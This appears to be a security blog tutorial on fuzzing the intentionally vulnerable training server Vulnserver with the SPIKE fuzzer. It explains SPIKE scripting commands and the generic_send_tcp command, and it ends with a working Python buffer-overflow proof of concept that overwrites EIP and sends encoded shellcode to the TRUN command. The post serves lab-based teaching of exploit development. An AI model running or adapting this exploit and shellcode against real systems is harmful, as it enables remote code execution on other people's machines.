Fuzzing for bugs — 101

@fuffsec
8 min readNov 13, 2022

Hey Squad,

Winter is Coming !!!

Today, We will be looking at how to fuzz for vulnerabilities in Windows applications.

Vulnserver will be used for demonstration.

For fuzzing, we will be using Spike.

Let’s get started…

Spike Fundamentals

According to OWASP, fuzz testing, often known as fuzzing, is a Black Box software testing approach that essentially entails uncovering implementation problems through automated injection of malformed or semi-malformed data. When exploit developers, security researchers, etc. undertake fuzzing, they concentrate on finding defects that might result in code execution. Although there are several fuzzers available, we will concentrate on SPIKE in the context of this blog.

SPIKE is a toolkit for building protocol fuzzers. With the use of an API, users may utilize the C++ programming language to build custom fuzzers for network-based protocols. The tool specifies a variety of primitives and makes them available to C programmers, enabling them to create fuzzed messages known as “SPIKES” that may be transmitted to a network service.

The usage of SPIKE does not, however, need proficiency in C programming. In addition to having the ability to script, SPIKE also includes a few helpful command-line tools that can understand text files containing SPIKE primitives. A summary and description of SPIKE may be found below. http://www.immunitysec.com/downloads/usingspike3.ppt

Credits to: Stephen Bradshaw for the SPIKE introduction below.

Features of SPIKE

  • SPIKE provides a big collection of built-in fuzzing strings that may be used to create a wide range of mistakes in applications. When calculating the data that should be supplied to an application to make it fail beneficially, SPIKE handles a lot of the legwork for you. As a result, you are spared the burden of coming up with these values and have access to the program’s author’s vast expertise in selecting effective fuzzing strings.
  • The size of specific portions inside the SPIKES that the SPIKE code generates may be determined using the idea of “blocks” in SPIKE. The size values can then be entered in several forms into the SPIKES themselves. This saves you the time and effort of performing these calculations yourself, which is a great benefit for fuzzing protocols that demand precise size values to be supplied for individual fields inside a message.
  • In addition to accepting them in a variety of forms that make easy copying and pasting from a range of applications possible, SPIKE can handle several distinct data kinds that are often used in network protocols.

SPIKE Scripting

As was already noted, SPIKE also has a rudimentary scripting feature that enables you to fuzz apps using SPIKE primitives without having to write your own C code for the SPIKE fuzzer. The SPIKE distribution comes with a range of interpreters that let you choose certain pertinent subsets of these SPIKE primitives to broadcast against various kinds of network applications. I’m going to use the term “commands” to refer to this subset of SPIKE primitives that may be used in SPIKE scripts to keep things simple for the remainder of this post.

When using TCP-based server applications, we can take advantage of this scripting capability by writing SPIKE commands into.spk script files and run them using the generic send tcp TCP SPIKE script interpreter (which comes pre-installed on Kali Linux). This will send the specified SPIKE to a specific IP address and TCP port. There is another generic send UDP function that does a similar function, but in this interpreter, the SPIKES are transmitted over UDP.

The generic_send_tcp interpreter, if run without any command line parameters shows the following.

The first two needed command line choices, which define the host and TCP port to connect to for fuzzing, should be self-explanatory. The third required command line option specifies the name of the SPIKE script file. Perhaps further clarification is needed for parameters 4 and 5. You may effectively jump into a SPIKE script-defined fuzzing session by using the options SKIPVAR and SKIPSTR.

Within a SPIKE script, you may specify “s_string_variables”, which are the commands used to insert the actual fuzzed strings into each SPIKE that you send. If you use more than one of these “s_string_variables” in your script, you can skip using the earlier instances of “s_string_variables” by setting an appropriate value for SKIPVAR. For example, if you include three “s_string_variables” in your SPIKE script, and you want to ignore the first two variables and only fuzz the third, you would set SKIPVAR to 2 (the numbering of the variables starts counting upwards from 0, so the third variable is referred to by the number 2).

Each of the “s_string_variables” also has an array of different fuzz string values inbuilt into SPIKE that it will iterate through within a SPIKE fuzzing session. If you want to skip the first 10 of these strings and start fuzzing at string 11, you can set SKIPSTR to 10 (again, counting starts from 0).

If a SPIKE session is stopped and you need to resume it later, you may do so by using these two command line options. generic_send_tcp outputs information to the command line about the variable and string it is presently checking.

To start a fuzzing session from the beginning, just use “0 0” for these parameters, so to start a fuzzing session against host <IP> on port <port> using script file “*. spk” from the beginning, use the following command line

root@kali:~# generic_send_tcp <ip> <port> *.spk 0

SPIKE Scripting Commands

To write a SPIKE script, we first need to know what some of the available commands are and what they do.

The commands have been broken below into several high-level categories relating to strings, binary data, blocks, and other useful functions.

Strings

The string commands provide a way of adding ASCII character data into your SPIKES. Also included within the string commands is the s_string_variable command, one of the most important commands within SPIKE as it allows you to add fuzz strings to your SPIKE.

  • s_string(“string”); // simply prints the string “string” as part of your “SPIKE”
  • s_string_repeat(“string”,200); // repeats the string “string” 200 times
  • s_string_variable(“string”); // inserts a fuzzed string into your “SPIKE”. The string “string” will be used for the first iteration of this variable, as well as for any SPIKES where other s_string_variables are being iterated

Binary Data

The binary commands provide a way of adding binary data to your SPIKES. They support a wide variety of ways to specify binary data.

  • s_binary(“\\x41”); // inserts binary representation of hex 0x41 = ASCII “A”
  • s_binary_repeat(“\\x41”, 200); //inserts binary representation of 0x41 200 times

Defining Blocks

Block-defining commands allow you to specify the start and end points of a named block within a SPIKE script. This allows you to define the size of those sections of data in your SPIKES using block size commands.

  • s_block_start(“block1”); // defines the start of block “block1”
  • s_block_end(“block1”); // defines the end of block “block1”

Block Sizes

Block size commands allow you to insert the size of data inside a named block inside the SPIKES generated by your script, using a variety of different size formats.

  • s_blocksize_string(“block1”, 2); // adds a string 2 characters long to the SPIKE that represents the size of block “block1”
  • s_binary_block_size_byte(“block1”); //adds a 1-byte value to the SPIKE that represents the size of block “block1”

Other Useful Commands

Other useful commands are those that don’t fit into any of the other categories previously mentioned.

  • s_read_packet(); // Reads and prints to screen data received from the server
  • s_readline(); // Reads a single line of input from the server

An Example SPIKE Script

The following is an example SPIKE script that could be used to fuzz the inputvar variable in the PHP script testme.php via a POST request to testserver.example.com.

s_string("POST /testme.php HTTP/1.1\r\n");
s_string("Host: testserver.example.com\r\n");
s_string("Content-Length: ");
s_blocksize_string("block1", 5);
s_string("\r\nConnection: close\r\n\r\n");
s_block_start("block1");
s_string("inputvar=");
s_string_variable("inputval");
s_block_end("block1");

This script essentially specifies a message like the one below, where [fuzz_string] represents the location where the SPIKE fuzz strings will be inserted into the message, and [size_of_data] represents the size of the data section of the POST request, which contains the fixed string “inputvar=” and the variable data of the fuzz string. This size field will be automatically updated as the fuzz string changes.

POST /testme.php HTTP/1.1
Host: testserver.example.com
Content-Length: [size_of_data]
Connection: close
inputvar=[fuzz_string]

Fuzzing

Interact with the remote vulnserver

  1. Start the Vulnserver on Windows in Immunity Debugger.
  2. Use nc on other machine to communicate with the program.
Communication
Vulserver Running

Create SPIKE templates

to fuzz the TRUN command, we can use the below template (let’s name it trun.spk).

s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

Send packages to Vulnserver

Use the below command to send packets:

generic_send_tcp 172.16.5.120 9999 trun.spk 0 0
Vulnserver crashed

Exploit Creation

Please refer to my previous blogs to learn about buffer overflow exploit creation.

Find below a working POC exploit:

#!/usr/bin/python
import socket
server = '172.16.5.120'
sport = 9999
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = ("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Please give me a clap if you found it to be useful and follow me to get more hacking knowledge.

You can buy me a coffee if you would like to -> https://www.buymeacoffee.com/gowthamaraj

Source: https://alexanderprange.files.wordpress.com/2019/02/thank-you-post-freature-pic.jpg

--

--

@fuffsec

Security Researcher | (OSWE, OSCP, OSWA, OSWP, CRTP, eWPTX, SSCP)